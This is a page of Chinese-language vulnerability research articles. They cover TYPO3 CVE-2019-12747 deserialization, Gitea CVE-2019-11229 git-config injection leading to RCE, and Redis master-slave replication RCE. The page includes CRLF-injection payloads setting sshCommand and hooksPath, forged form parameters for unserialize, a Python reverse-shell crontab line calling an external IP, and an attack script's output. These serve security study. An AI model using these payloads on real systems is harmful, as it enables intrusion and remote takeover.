-
TSec 2019 议题 PPT:Comprehensive analysis of the mysql client attack chain
作者:LoRexxar'@知道创宇404实验室
2019年7月31日,以“前沿科技、尖端对抗”为主题的腾讯安全探索论坛(TSec)正式迎来第三届,知道创宇404实验室安全研究员@LoRexxar' 在大会上分享了议题《Comprehensive analysis of the mysql client attack chain》,从 Mysql 客户端攻击出发,探索真实世界攻击链。
整个 PPT 我们将一起探讨关于 Mysql Client attack 的细节以及利用方式,在mysql任意文件读取的基础上,探讨并验证一些实际的攻击场景。其中包括 mysql 蜜罐溯源、mysql 探针、云服务 rds 服务,excel 数据同步服务以及一些cms的具体利用。
在这些基础上,我们提出在 2018 年 Blackhat 大会上 Sam Thomas 分享的 File Operation Induced Unserialization via the “phar://” Stream Wrapper 议题中,曾提到 php 的文件读取函数读取 phar 协议会导致反序列化,在这个漏洞的基础上,我们可以把 php-mysqli 环境下的任意文件读取转为反序列化漏洞,在这个基础上,我们进一步讨论这个漏洞在cms通用环境下的普适性。
议题PPT下载:https://github.com/knownsec/404-Team-ShowCase
注:PPT中关于漏洞的具体详情已作删除处理,我们将会在推进负责的漏洞报送过程之后公开详细的漏洞分析文章。
没有评论 -
Typo3 CVE-2019-12747 反序列化漏洞分析
作者:mengchen@知道创宇404实验室
时间:2019年8月1日
英文版本:https://paper.seebug.org/997/1. 前言
TYPO3
是一个以PHP
编写、采用GNU
通用公共许可证的自由、开源的内容管理系统。2019年7月16日,
RIPS
的研究团队公开了Typo3 CMS
的一个关键漏洞详情,CVE
编号为CVE-2019-12747
,它允许后台用户执行任意PHP
代码。漏洞影响范围:
Typo3 8.x-8.7.26 9.x-9.5.7
。2. 测试环境简述
1234Nginx/1.15.8PHP 7.3.1 + xdebug 2.7.2MySQL 5.7.27Typo3 9.5.73. TCA
在进行分析之前,我们需要了解下
Typo3
的TCA(Table Configuration Array)
,在Typo3
的代码中,它表示为$GLOBALS['TCA']
。在
Typo3
中,TCA
算是对于数据库表的定义的扩展,定义了哪些表可以在Typo3
的后端可以被编辑,主要的功能有- 表示表与表之间的关系
- 定义后端显示的字段和布局
- 验证字段的方式
这次漏洞的两个利用点分别出在了
CoreEngine
和FormEngine
这两大结构中,而TCA
就是这两者之间的桥梁,告诉两个核心结构该如何表现表、字段和关系。TCA
的第一层是表名:123456$GLOBALS['TCA']['pages'] = [...];$GLOBALS['TCA']['tt_content'] = [...];其中
pages
和tt_content
就是数据库中的表。接下来一层就是一个数组,它定义了如何处理表,
1234567891011121314151617$GLOBALS['TCA']['pages'] = ['ctrl' => [ // 通常包含表的属性....],'interface' => [ // 后端接口属性等....],'columns' => [....],'types' => [....],'palettes' => [....],];在这次分析过程中,只需要了解这么多,更多详细的资料可以查询官方手册。
4. 漏洞分析
整个漏洞的利用流程并不是特别复杂,主要需要两个步骤,第一步变量覆盖后导致反序列化的输入可控,第二步构造特殊的反序列化字符串来写
shell
。第二步这个就是老套路了,找个在魔术方法中能写文件的类就行。这个漏洞好玩的地方在于变量覆盖这一步,而且进入两个组件漏洞点的传入方式也有着些许不同,接下来让我们看一看这个漏洞吧。4.1 补丁分析
从Typo3官方的通告中我们可以知道漏洞影响了两个组件——
Backend & Core API (ext:backend, ext:core)
,在GitHub上我们可以找到修复记录:很明显,补丁分别禁用了
backend
的DatabaseLanguageRows.php
和core
中的DataHandler.php
中的的反序列化操作。4.2 Backend ext 漏洞点利用过程分析
根据补丁的位置,看下
Backend
组件中的漏洞点。路径:
typo3/sysext/backend/Classes/Form/FormDataProvider/DatabaseLanguageRows.php:37
1234567891011121314151617181920212223242526272829303132333435363738public function addData(array $result){if (!empty($result['processedTca']['ctrl']['languageField'])&& !empty($result['processedTca']['ctrl']['transOrigPointerField'])) {$languageField = $result['processedTca']['ctrl']['languageField'];$fieldWithUidOfDefaultRecord = $result['processedTca']['ctrl']['transOrigPointerField'];if (isset($result['databaseRow'][$languageField]) && $result['databaseRow'][$languageField] > 0&& isset($result['databaseRow'][$fieldWithUidOfDefaultRecord]) && $result['databaseRow'][$fieldWithUidOfDefaultRecord] > 0) {// Default language record of localized record$defaultLanguageRow = $this->getRecordWorkspaceOverlay($result['tableName'],(int)$result['databaseRow'][$fieldWithUidOfDefaultRecord]);if (empty($defaultLanguageRow)) {throw new DatabaseDefaultLanguageException('Default language record with id ' . (int)$result['databaseRow'][$fieldWithUidOfDefaultRecord]. ' not found in table ' . $result['tableName'] . ' while editing record ' . $result['databaseRow']['uid'],1438249426);}$result['defaultLanguageRow'] = $defaultLanguageRow;// Unserialize the "original diff source" if givenif (!empty($result['processedTca']['ctrl']['transOrigDiffSourceField'])&& !empty($result['databaseRow'][$result['processedTca']['ctrl']['transOrigDiffSourceField']])) {$defaultLanguageKey = $result['tableName'] . ':' . (int)$result['databaseRow']['uid'];$result['defaultLanguageDiffRow'][$defaultLanguageKey] = unserialize($result['databaseRow'][$result['processedTca']['ctrl']['transOrigDiffSourceField']]);}//省略代码}//省略代码}//省略代码}很多类都继承了
FormDataProviderInterface
接口,因此静态分析寻找谁调用的DatabaseLanguageRows
的addData
方法根本不现实,但是根据文章中的演示视频,我们可以知道网站中修改page
这个功能中进入了漏洞点。在addData
方法加上断点,然后发出一个正常的修改page
的请求。当程序断在
DatabaseLanguageRows
的addData
方法后,我们就可以得到调用链。在
DatabaseLanguageRows
这个addData
中,只传入了一个$result
数组,而且进行反序列化操作的目标是$result['databaseRow']
中的某个值。看命名有可能是从数据库中获得的值,往前分析一下。进入
OrderedProviderList
的compile
方法。路径:
typo3/sysext/backend/Classes/Form/FormDataGroup/OrderedProviderList.php:43
12345678910111213141516171819202122232425public function compile(array $result): array{$orderingService = GeneralUtility::makeInstance(DependencyOrderingService::class);$orderedDataProvider = $orderingService->orderByDependencies($this->providerList, 'before', 'depends');foreach ($orderedDataProvider as $providerClassName => $providerConfig) {if (isset($providerConfig['disabled']) && $providerConfig['disabled'] === true) {// Skip this data provider if disabled by configurationcontinue;}/** @var FormDataProviderInterface $provider */$provider = GeneralUtility::makeInstance($providerClassName);if (!$provider instanceof FormDataProviderInterface) {throw new \UnexpectedValueException('Data provider ' . $providerClassName . ' must implement FormDataProviderInterface',1485299408);}$result = $provider->addData($result);}return $result;}我们可以看到,在
foreach
这个循环中,动态实例化$this->providerList
中的类,然后调用它的addData
方法,并将$result
作为方法的参数。在调用
DatabaseLanguageRows
之前,调用了如图所示的类的addData
方法。经过查询手册以及分析代码,可以知道在
DatabaseEditRow
类中,通过调用addData
方法,将数据库表中数据读取出来,存储到了$result['databaseRow']
中。路径:
typo3/sysext/backend/Classes/Form/FormDataProvider/DatabaseEditRow.php:32
1234567891011121314151617public function addData(array $result){if ($result['command'] !== 'edit' || !empty($result['databaseRow'])) {// 限制功能为`edit`return $result;}$databaseRow = $this->getRecordFromDatabase($result['tableName'], $result['vanillaUid']); // 获取数据库中的记录if (!array_key_exists('pid', $databaseRow)) {throw new \UnexpectedValueException('Parent record does not have a pid field',1437663061);}BackendUtility::fixVersioningPid($result['tableName'], $databaseRow);$result['databaseRow'] = $databaseRow;return $result;}再后面又调用了
DatabaseRecordOverrideValues
类的addData
方法。路径:
typo3/sysext/backend/Classes/Form/FormDataProvider/DatabaseRecordOverrideValues.php:31
12345678910111213public function addData(array $result){foreach ($result['overrideValues'] as $fieldName => $fieldValue) {if (isset($result['processedTca']['columns'][$fieldName])) {$result['databaseRow'][$fieldName] = $fieldValue;$result['processedTca']['columns'][$fieldName]['config'] = ['type' => 'hidden','renderType' => 'hidden',];}}return $result;}在这里,将
$result['overrideValues']
中的键值对存储到了$result['databaseRow']
中,如果$result['overrideValues']
可控,那么通过这个类,我们就能控制$result['databaseRow']
的值了。再往前,看看
$result
的值是怎么来的。路径:
typo3/sysext/backend/Classes/Form/FormDataCompiler.php:58
1234567891011121314public function compile(array $initialData){$result = $this->initializeResultArray();//省略代码foreach ($initialData as $dataKey => $dataValue) {// 省略代码...$result[$dataKey] = $dataValue;}$resultKeysBeforeFormDataGroup = array_keys($result);$result = $this->formDataGroup->compile($result);// 省略代码...}很明显,通过调用
FormDataCompiler
的compile
方法,将$initialData
中的数据存储到了$result
中。再往前走,来到了
EditDocumentController
类中的makeEditForm
方法中。在这里,
$formDataCompilerInput['overrideValues']
获取了$this->overrideVals[$table]
中的数据。而
$this->overrideVals
的值是在方法preInit
中设定的,获取的是通过POST
传入的表单中的键值对。这样一来,在这个请求过程中,进行反序列化的字符串我们就可以控制了。
在表单中提交任意符合数组格式的输入,在后端代码中都会被解析,然后后端根据
TCA
来进行判断并处理。 比如我们在提交表单中新增一个名为a[b][c][d]
,值为233
的表单项。在编辑表单的控制器
EditDocumentController.php
中下一个断点,提交之后。可以看到我们传入的键值对在经过
getParsedBody
方法解析后,变成了嵌套的数组,并且没有任何限制。我们只需要在表单中传入
overrideVals
这一个数组即可。这个数组中的具体的键值对,则需要看进行反序列化时取的$result['databaseRow']
中的哪一个键值。12345678if (isset($result['databaseRow'][$languageField]) && $result['databaseRow'][$languageField] > 0 && isset($result['databaseRow'][$fieldWithUidOfDefaultRecord]) && $result['databaseRow'][$fieldWithUidOfDefaultRecord] > 0) {// 省略代码if (!empty($result['processedTca']['ctrl']['transOrigDiffSourceField']) && !empty($result['databaseRow'][$result['processedTca']['ctrl']['transOrigDiffSourceField']])) {$defaultLanguageKey = $result['tableName'] . ':' . (int) $result['databaseRow']['uid'];$result['defaultLanguageDiffRow'][$defaultLanguageKey] = unserialize($result['databaseRow'][$result['processedTca']['ctrl']['transOrigDiffSourceField']]);}//省略代码}要想进入反序列化的点,还需要满足上面的
if
条件,动态调一下就可以知道,在if
语句中调用的是12$result['databaseRow']['sys_language_uid']$result['databaseRow']['l10n_parent']后面反序列化中调用的是
1$result['databaseRow']['l10n_diffsource']因此,我们只需要在传入的表单中增加三个参数即可。
123overrideVals[pages][sys_language_uid] ==> 4overrideVals[pages][l10n_parent] ==> 4overrideVals[pages][l10n_diffsource] ==> serialized_shell_data可以看到,我们的输入成功的到达了反序列化的点。
4.3 Core ext 漏洞点利用过程分析
看下
Core
中的那个漏洞点。路径:
typo3/sysext/core/Classes/DataHandling/DataHandler.php:1453
12345678910111213141516171819202122232425262728293031323334public function fillInFieldArray($table, $id, $fieldArray, $incomingFieldArray, $realPid, $status, $tscPID){// Initialize:$originalLanguageRecord = null;$originalLanguage_diffStorage = null;$diffStorageFlag = false;// Setting 'currentRecord' and 'checkValueRecord':if (strpos($id, 'NEW') !== false) {// Must have the 'current' array - not the values after processing below...$checkValueRecord = $fieldArray;if (is_array($incomingFieldArray) && is_array($checkValueRecord)) {ArrayUtility::mergeRecursiveWithOverrule($checkValueRecord, $incomingFieldArray);}$currentRecord = $checkValueRecord;} else {// We must use the current values as basis for this!$currentRecord = ($checkValueRecord = $this->recordInfo($table, $id, '*'));// This is done to make the pid positive for offline versions; Necessary to have diff-view for page translations in workspaces.BackendUtility::fixVersioningPid($table, $currentRecord);}// Get original language record if available:if (is_array($currentRecord)&& $GLOBALS['TCA'][$table]['ctrl']['transOrigDiffSourceField']&& $GLOBALS['TCA'][$table]['ctrl']['languageField']&& $currentRecord[$GLOBALS['TCA'][$table]['ctrl']['languageField']] > 0&& $GLOBALS['TCA'][$table]['ctrl']['transOrigPointerField']&& (int)$currentRecord[$GLOBALS['TCA'][$table]['ctrl']['transOrigPointerField']] > 0) {$originalLanguageRecord = $this->recordInfo($table, $currentRecord[$GLOBALS['TCA'][$table]['ctrl']['transOrigPointerField']], '*');BackendUtility::workspaceOL($table, $originalLanguageRecord);$originalLanguage_diffStorage = unserialize($currentRecord[$GLOBALS['TCA'][$table]['ctrl']['transOrigDiffSourceField']]);}......//省略代码看代码,如果我们要进入反序列化的点,需要满足前面的
if
条件1234567if (is_array($currentRecord)&& $GLOBALS['TCA'][$table]['ctrl']['transOrigDiffSourceField']&& $GLOBALS['TCA'][$table]['ctrl']['languageField']&& $currentRecord[$GLOBALS['TCA'][$table]['ctrl']['languageField']] > 0&& $GLOBALS['TCA'][$table]['ctrl']['transOrigPointerField']&& (int)$currentRecord[$GLOBALS['TCA'][$table]['ctrl']['transOrigPointerField']] > 0)也就是说要满足以下条件
$currentRecord
是个数组- 在
TCA
中$table
的表属性中存在transOrigDiffSourceField
、languageField
、transOrigPointerField
字段。 $table
的属性languageField
和transOrigPointerField
在$currentRecord
中对应的值要大于0
。
查一下
TCA
表,满足第二条条件的表有123456sys_file_referencesys_file_metadatasys_file_collectionsys_collectionsys_categorypages但是所有
sys_*
的字段的adminOnly
属性的值都是1
,只有管理员权限才可以更改。因此我们可以用的表只有pages
。它的属性值是
123[languageField] => sys_language_uid[transOrigPointerField] => l10n_parent[transOrigDiffSourceField] => l10n_diffsource再往上,有一个对传入的参数进行处理的
if-else
语句。从注释中,我们可以知道传入的各个参数的功能:
- 数组
$fieldArray
是默认值,这种一般都是我们无法控制的 - 数组
$incomingFieldArray
是你想要设置的字段值,如果可以,它会合并到$fieldArray
中。
而且如果满足
if (strpos($id, 'NEW') !== false)
条件的话,也就是$id
是一个字符串且其中存在NEW
字符串,会进入下面的合并操作。123456$checkValueRecord = $fieldArray;......if (is_array($incomingFieldArray) && is_array($checkValueRecord)) {ArrayUtility::mergeRecursiveWithOverrule($checkValueRecord, $incomingFieldArray);}$currentRecord = $checkValueRecord;如果不满足上面的
if
条件,$currentRecord
的值就会通过recordInfo
方法从数据库中直接获取。这样后面我们就无法利用了。简单总结一下,我们需要
$table
是pages
$id
是个字符串,而且存在NEW
字符串$incomingFieldArray
中要存在payload
接下来我们看在哪里对该函数进行了调用。
全局搜索一下,只找到一处,在
typo3/sysext/core/Classes/DataHandling/DataHandler.php:954
处的process_datamap
方法中进行了调用。整个项目中,对
process_datamap
调用的地方就太多了,尝试使用xdebug
动态调试来找一下调用链。从RIPS
团队的那一篇分析文章结合上面的对表名的分析,我们可以知道,漏洞点在创建page
的功能处。接下来就是找从
EditDocumentController.php
的mainAction
方法到前面我们分析的fillInFieldArray
方法的调用链。尝试在网站中新建一个
page
,然后在调用fillInFieldArray
的位置下一个断点,发送请求后,我们就拿到了调用链。看一下
mainAction
的代码。1234567891011121314151617181920212223public function mainAction(ServerRequestInterface $request): ResponseInterface{// Unlock all locked recordsBackendUtility::lockRecords();if ($response = $this->preInit($request)) {return $response;}// Process incoming data via DataHandler?$parsedBody = $request->getParsedBody();if ($this->doSave|| isset($parsedBody['_savedok'])|| isset($parsedBody['_saveandclosedok'])|| isset($parsedBody['_savedokview'])|| isset($parsedBody['_savedoknew'])|| isset($parsedBody['_duplicatedoc'])) {if ($response = $this->processData($request)) {return $response;}}....//省略代码}当满足
if
条件是进入目标$response = $this->processData($request)
。1234567if ($this->doSave|| isset($parsedBody['_savedok'])|| isset($parsedBody['_saveandclosedok'])|| isset($parsedBody['_savedokview'])|| isset($parsedBody['_savedoknew'])|| isset($parsedBody['_duplicatedoc']))这个在新建一个
page
时,正常的表单中就携带doSave == 1
,而doSave
的值就是在方法preInit
中获取的。这样条件默认就是成立的,然后将
$request
传入了processData
方法。1234567891011121314151617181920212223242526272829303132333435363738394041424344public function processData(ServerRequestInterface $request = null): ?ResponseInterface{// @deprecated Variable can be removed in TYPO3 v10.0$deprecatedCaller = false;......//省略代码$parsedBody = $request->getParsedBody(); // 获取Post请求参数$queryParams = $request->getQueryParams(); // 获取Get请求参数$beUser = $this->getBackendUser(); // 获取用户数据// Processing related GET / POST vars$this->data = $parsedBody['data'] ?? $queryParams['data'] ?? [];$this->cmd = $parsedBody['cmd'] ?? $queryParams['cmd'] ?? [];$this->mirror = $parsedBody['mirror'] ?? $queryParams['mirror'] ?? [];// @deprecated property cacheCmd is unused and can be removed in TYPO3 v10.0$this->cacheCmd = $parsedBody['cacheCmd'] ?? $queryParams['cacheCmd'] ?? null;// @deprecated property redirect is unused and can be removed in TYPO3 v10.0$this->redirect = $parsedBody['redirect'] ?? $queryParams['redirect'] ?? null;$this->returnNewPageId = (bool)($parsedBody['returnNewPageId'] ?? $queryParams['returnNewPageId'] ?? false);// Only options related to $this->data submission are included here$tce = GeneralUtility::makeInstance(DataHandler::class);$tce->setControl($parsedBody['control'] ?? $queryParams['control'] ?? []);// Set internal varsif (isset($beUser->uc['neverHideAtCopy']) && $beUser->uc['neverHideAtCopy']) {$tce->neverHideAtCopy = 1;}// Load DataHandler with data$tce->start($this->data, $this->cmd);if (is_array($this->mirror)) {$tce->setMirror($this->mirror);}// Perform the saving operation with DataHandler:if ($this->doSave === true) {$tce->process_uploads($_FILES);$tce->process_datamap();$tce->process_cmdmap();}......//省略代码}代码很容易懂,从
$request
中解析出来的数据,首先存储在$this->data
和$this->cmd
中,然后实例化一个名为$tce
,调用$tce->start
方法将传入的数据存储在其自身的成员datamap
和cmdmap
中。1234567891011121314typo3/sysext/core/Classes/DataHandling/DataHandler.php:735public function start($data, $cmd, $altUserObject = null){......//省略代码// Setting the data and cmd arraysif (is_array($data)) {reset($data);$this->datamap = $data;}if (is_array($cmd)) {reset($cmd);$this->cmdmap = $cmd;}}而且
if ($this->doSave === true)
这个条件也是成立的,进入process_datamap
方法。代码有注释还是容易阅读的,在第
985
行,获取了datamap
中所有的键名,然后存储在$orderOfTables
,然后进入foreach
循环,而这个$table
,在后面传入fillInFieldArray
方法中,因此,我们只需要分析$table == pages
时的循环即可。1$fieldArray = $this->fillInFieldArray($table, $id, $fieldArray, $incomingFieldArray, $theRealPid, $status, $tscPID);大致浏览下代码,再结合前面的分析,我们需要满足以下条件:
$recordAccess
的值要为true
$incomingFieldArray
中的payload
不会被删除$table
的值为pages
$id
中存在NEW
字符串
既然正常请求可以直接断在调用
fillInFieldArray
处,正常请求中,第一条、第三条和第四条都是成立的。根据前面对
fillInFieldArray
方法的分析,构造payload
,向提交的表单中添加三个键值对。123data[pages][NEW5d3fa40cb5ac4065255421][l10n_diffsource] ==> serialized_shell_datadata[pages][NEW5d3fa40cb5ac4065255421][sys_language_uid] ==> 4data[pages][NEW5d3fa40cb5ac4065255421][l10n_parent] ==> 4其中
NEW*
字符串要根据表单生成的值进行对应的修改。发送请求后,依旧能够进入
fillInFieldArray
,而在传入的$incomingFieldArray
参数中,可以看到我们添加的三个键值对。进入
fillInFieldArray
之后,其中l10n_diffsource
将会进行反序列化操作。此时我们在请求中将其l10n_diffsource
改为构造好的序列化字符串,重新发送请求即可成功getshell
。5. 写在最后
其实单看这个漏洞的利用条件,还是有点鸡肋的,需要你获取到
typo3
的一个有效的后台账户,并且拥有编辑page
的权限。而且这次分析
Typo3
给我的感觉与其他网站完全不同,我在分析创建&修改page
这个功能的参数过程中,并没有发现什么过滤操作,在后台的所有参数都是根据TCA
的定义来进行相应的操作,只有传入不符合TCA
定义的才会抛出异常。而TCA
的验证又不严格导致了变量覆盖这个问题。官方的修补方式也是不太懂,直接禁止了反序列化操作,但是个人认为这次漏洞的重点还是在于前面变量覆盖的问题上,尤其是
Backend
的利用过程中,可以直接覆盖从数据库中取出的数据,这样只能算是治标不治本,后面还是有可能产生新的问题。当然了,以上只是个人拙见,如有错误,还请诸位斧正。
6. 参考链接
-
CVE-2019-11229详细分析 –git config可控-RCE
作者:LoRexxar'@知道创宇404实验室
时间:2019年7月23日
英文版本:https://paper.seebug.org/990/2019年4月15号,gitea曾爆出过一个漏洞,恰逢当时对这个漏洞比较好奇就着手去研究了一下,漏洞的描述是这样的:
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to remote code execution.
在和朋友@hammer的一同研究下,成功控制了git config的内容,但是在从git config到RCE的过程遇到了困难,就暂时搁置了,在过了几个月之后,偶然得到@Lz1y和@x1nGuang两位大佬的启发,成功复现了这个漏洞,下面我们就来仔细研究下这个问题。
分析补丁
首先根据cve的信息,确定漏洞1.7.6和1.8.0-rc3上修复
- https://github.com/go-gitea/gitea/releases/tag/v1.7.6
- https://github.com/go-gitea/gitea/releases/tag/v1.8.0-rc3
根据漏洞文件为
repo_mirror.go
这个信息锁定更新的commit,commit主要为 #6593和#6595根据patch可以大致锁定问题的关键点
/models/repo_mirror.go
当仓库为mirror仓库时,settings页面会显示关于mirror的配置
1234if !repo.IsMirror {ctx.NotFound("", nil)return}patch中将原来的修改配置文件中的url选项修改为NewCommand。很容易理解,将写入文件更改为执行命令,这种修复方式一定是因为写入文件存在无法修复这个问题的窘境,那么这也就说明url这里可以通过传入
%0d%0a
来换行,导致修改config中的其他配置。控制 gitconfig
跟随前面的逻辑,首先我们新建一个mirror仓库。
抓包并修改
mirror_address
为相应的属性。1mirror_address=https%3A%2F%2Ftest%3A%40github.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0atest=/tmp%0d%0aa="""可以传入各种配置,可以控制config文件的内容。
比较有趣的是,如果你更新同步设置时,服务端还会格式化配置。
进一步利用
而重要的是如何从config文件可控到下一步利用。
首先,git服务端只会保留.git里的内容,并不是完整的类似我们客户端使用的git仓库。所以很难引入外部文件。否则就可以通过设置hook目录来实现RCE,这种思路的关键点在于找到一个可控的文件写入或者文件上传。
其次,另外一种思路就是寻找一个能够执行命令的配置,并寻找一个能够触发相关配置的远程配置。
通过写文件配合 githook path RCE
在git中,存在一个叫做Git Hook的东西,是用于在处理一些操作的时,相应的hook就会执行相应的脚本。
在web界面,只有gitea的管理员才能管理git hook,所以对于普通用户来说,我们就不能直接通过编辑git hook来修改脚本。
但我们却可以通过控制git config来修改hook存放的目录。
当我们构造发送
1mirror_address=https%3A%2F%2Fgithub.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0ahooksPath=/tmp%0d%0aa="""服务端的config文件变为
这样我们只要能在服务端的任意位置能够写入文件或者创建文件,我们就可以设置hookspath到那里,并触发git hook来执行命令。
在经过我们的仔细研究之后,我们发现,在漏洞存在的版本1.7.5版本以下,如果编辑服务端的文件,那么服务端的文件就会保存在gitea的运行目录下生成。
1/data/tmp/local-repo/{repo_id}而这个文件在不重启gitea的情况下不会清除,而这个repo_id可以从其他的api处挖掘到。
具体详细利用链可以看
值得注意的是,这种方式需要知道服务端运行的位置,虽然我们可以认为go的路径都是比较形似的,也有部分人会在当前编译目录下执行。但可以说这种方式还是不算靠谱。
通过控制 git config 配置来 RCE
在@x1nGuang大佬的帮助下,我重新审视了和git config相关的一些配置。
gitProxy
gitProxy是用来针对git协议需要fetch等操作时,需要执行的命令。是一个用来应对特殊场景的配置选项。一般是应用于,在git请求时,可能的需要使用代理应用的场景。
这里我们设置服务端
12[core]gitproxy = calc.exe然后需要注意,同步的url必须为git开头
但问题在于,由于gitProxy在git设计中,就是执行一个代理应用,所以无论输入什么,都会被当作一个应用执行,也就没办法带参数。
这样一来,在实际的利用场景中就又受到了很大的局限,这里可以尝试用普通项目中的上传文件功能来上传一个bin,然后抓包获取文件路径,最后通过gitProxy来执行后门。
但同样的是,这种思路仍旧受限于gitea的运行目录,不过比起之前的利用方式来说,1.8.0版本也可以利用这种方式来RCE。
sshCommand
在git的文档中,还有一个配置是sshCommand。
这是一个在git中允许通过特殊的配置,使git fetch/git push 通过ssh来连接远端的系统。在@Lz1y大佬的博客中也提到了这种利用方式。
我们设置sshCommand为指定的命令
1mirror_address=https%3A%2F%2Ftest%3A%40github.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0asshCommand=calc.exe%0d%0aa="""然后设置协议为ssh保存,并点击同步。
而与gitProxy不同的是,这里可以跟参数
1&mirror_address=https%3A%2F%2Ftest%3A%40github.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0asshCommand="touch 2333"%0d%0aa="""写在最后
这是一个很特别的关于git类平台的漏洞例子,由于我在研究git config利用方式的时候遭遇了很多困难,导致这篇文章断断续续的复现了很久。整个漏洞利用链和git的特性都有强依赖,还算是挺有趣的体验,有机会再仔细分析一下gitea、gogs和gitlab的代码,希望也能挖一个有趣的洞...
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/989/
-
Redis 基于主从复制的 RCE 利用方式
作者:LoRexxar'@知道创宇404实验室
时间:2019年7月9日在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大,下面就让我们从以前的redis RCE利用方式出发,一起聊聊关于redis的利用问题。
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
通过写入文件 GetShell
未授权的redis会导致GetShell,可以说已经是众所周知的了。
12345678127.0.0.1:6379> config set dir /var/spool/cron/crontabsOK127.0.0.1:6379> config set dbfilename rootOK127.0.0.1:6379> get 1"\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"127.0.0.1:6379> saveOK而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,形似
123[padding]* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'[padding]这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。
但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。
通过主从复制 GetShell
在介绍这种利用方式之前,首先我们需要介绍一下什么是主从复制和redis的模块。
Redis主从复制
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
这里我们开两台docker来做测试
1234ubuntu@VM-1-7-ubuntu:~/lorexxar$ sudo docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES3fdb2479af9c redis:5.0 "docker-entrypoint.s…" 22 hours ago Up 4 seconds 0.0.0.0:6380->6379/tcp epic_khorana3e313c7498c2 redis:5.0 "docker-entrypoint.s…" 23 hours ago Up 23 hours 0.0.0.0:6379->6379/tcp vibrant_hodgkin然后通过slaveof可以设置主从状态
这样一来数据就会自动同步了
Redis模块
在了解了主从同步之后,我们还需要对redis的模块有所了解。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
编写恶意so文件的代码
https://github.com/RicterZ/RedisModules-ExecuteCommand
利用原理
Pavel Toporkov在2018年的zeronights会议上,分享了关于这个漏洞的详细原理。
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
在ppt中提到,在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。
然后在从机上加载so文件,我们就可以执行拓展的新命令了。
复现过程
这里我们选择使用模拟的恶意服务端来作为主机,并模拟fullresync请求。
https://github.com/LoRexxar/redis-rogue-server
然后启用redis 5.0的docker
123ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ sudo docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES3e313c7498c2 redis:5.0 "docker-entrypoint.s…" 25 hours ago Up 25 hours 0.0.0.0:6379->6379/tcp vibrant_hodgkin为了能够更清晰的看到效果,这里我们把从服务端执行完成后删除的部分暂时注释掉。
然后直接通过脚本来攻击服务端
12345678910111213141516171819ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381TARGET 172.17.0.3:6379SERVER 172.17.0.1:6381[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'[->] b'+OK\r\n'[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'[->] b'+OK\r\n'[->] b'*1\r\n$4\r\nPING\r\n'[<-] b'+PONG\r\n'[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'[<-] b'+OK\r\n'[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'[<-] b'+OK\r\n'[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 